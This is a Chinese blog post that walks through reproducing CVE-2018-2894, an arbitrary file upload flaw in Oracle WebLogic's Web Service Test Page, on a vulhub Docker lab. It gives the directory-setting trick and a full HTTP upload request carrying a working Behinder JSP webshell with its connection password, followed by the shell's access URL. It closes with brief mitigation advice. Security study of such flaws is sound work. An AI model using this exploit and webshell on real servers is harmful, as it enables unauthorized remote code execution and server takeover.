【漏洞复现】Weblogic 任意文件上传漏洞(CVE-2018-2894)

漏洞简介

Oracle在7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page在"生产模式"下默认不开启,所以该漏洞有一定限制,利用该漏洞,可以上传任意.jsp文件,进而获取服务器权限。

影响版本

Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3。

环境搭建

使用vulhub的靶场环境

复制代码
1.切到 cd /vulhub-master/weblogic/CVE-2018-2894 目录下
2.docker-compose up -d 启动漏洞环境
3.访问:http://your-ip:7001/console
如图所示,即为搭建成功。

参考之前笔记vulhub docker靶场搭建-CSDN博客

执行docker-compose logs | grep password可查看管理员密码,管理员用户名为:weblogic。

登录后台页面,点击base_domain的配置,在"高级"中开启"启用 Web 服务测试页"选项:

漏洞复现

1.访问如下链接

复制代码
http://your-ip:7001/ws_utc/config.do

设置Work Home Dir为:

复制代码
路径:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

2.将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

3.点击安全 -> 增加,上传webshelll,这里用的是冰蝎的马,密码为rebeyond。

4.BurpSuite抓包,得到时间戳:

完整数据包:

复制代码
POST /ws_utc/resources/setting/keystore?timestamp=1652192416829 HTTP/1.1
Host: 192.168.110.136:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------286671924331292381372054486536
Content-Length: 1483
Origin: http://192.168.110.136:7001
Connection: close
Referer: http://192.168.110.136:7001/ws_utc/config.do
Cookie: pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; JSESSIONID=eMOuVkbE4I_kWIfWJVtJUmK0gVEhFnqD_z0EvOhE-EzOuzpQvWsP!-37318034
Upgrade-Insecure-Requests: 1

-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_name"

weblogic
-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_edit_mode"

false
-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_password_front"

xOPp22ro
-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_password"

xOPp22ro
-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_password_changed"

true
-----------------------------286671924331292381372054486536
Content-Disposition: form-data; name="ks_filename"; filename="shell.jsp"
Content-Type: application/octet-stream

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
-----------------------------286671924331292381372054486536--

返回安全界面,上传成功。

4.访问上传的webshell:

复制代码
http://your-ip:7001/ws_utc/css/config/keystore/1652192470370_shell.jsp

5.再上冰蝎

6.进入docker容器查看一下文件

修复方案

1.设置config.do,begin.do页面登录授权后访问。

2.IPS等防御产品可以加入相应的特征。

3.升级到官方的最新版本。

相关推荐
三8449 小时前
PHP Session 反序列化(2):漏洞根因 —— 序列化处理器错位与对象注入
android·web安全·php·反序列化·session
Bruce_Liuxiaowei14 小时前
从两个中危漏洞读懂 CVSS 评分体系:向量拆解、数学计算与实战观察
安全·网络安全·漏洞评级
我的小卷呀16 小时前
Linux ip 命令底层逻辑与实战指南
linux·运维·c语言·网络协议·tcp/ip·网络安全
祁白_16 小时前
防御引擎绕过方法
笔记·web安全·php·防御引擎
一只鹿鹿鹿18 小时前
信息网络安全建设方案(PPT文件)
大数据·安全·web安全·系统安全·制造
泛联新安19 小时前
“天神”空降:泛联新安受邀参加第八届“纵横”网络空间创新论坛
网络安全·自动化·代码规范·漏洞挖掘·代码安全·代码漏洞扫描·ai+可信开发
sbjdhjd20 小时前
在 8 字符、字母数字过滤与 PHP 版本差异下复盘临时文件命令执行链 | (8字符绕过)
android·java·开发语言·安全·web安全·数据挖掘·php
小杨不想秃头20 小时前
信息安全工程师第六章
网络·安全·web安全
HackTwoHub1 天前
AI自动化信息收集赋能渗透测试!集成多款主流扫描工具,多维智能评分,精准锁定高危资产
运维·人工智能·安全·web安全·网络安全·自动化·系统安全
数安旭说1 天前
私接外网、资产篡改、挖矿木马:终端异常告警体系建设思路
网络安全·企业安全·零信任·内网安全·终端安全·dlp·安全审计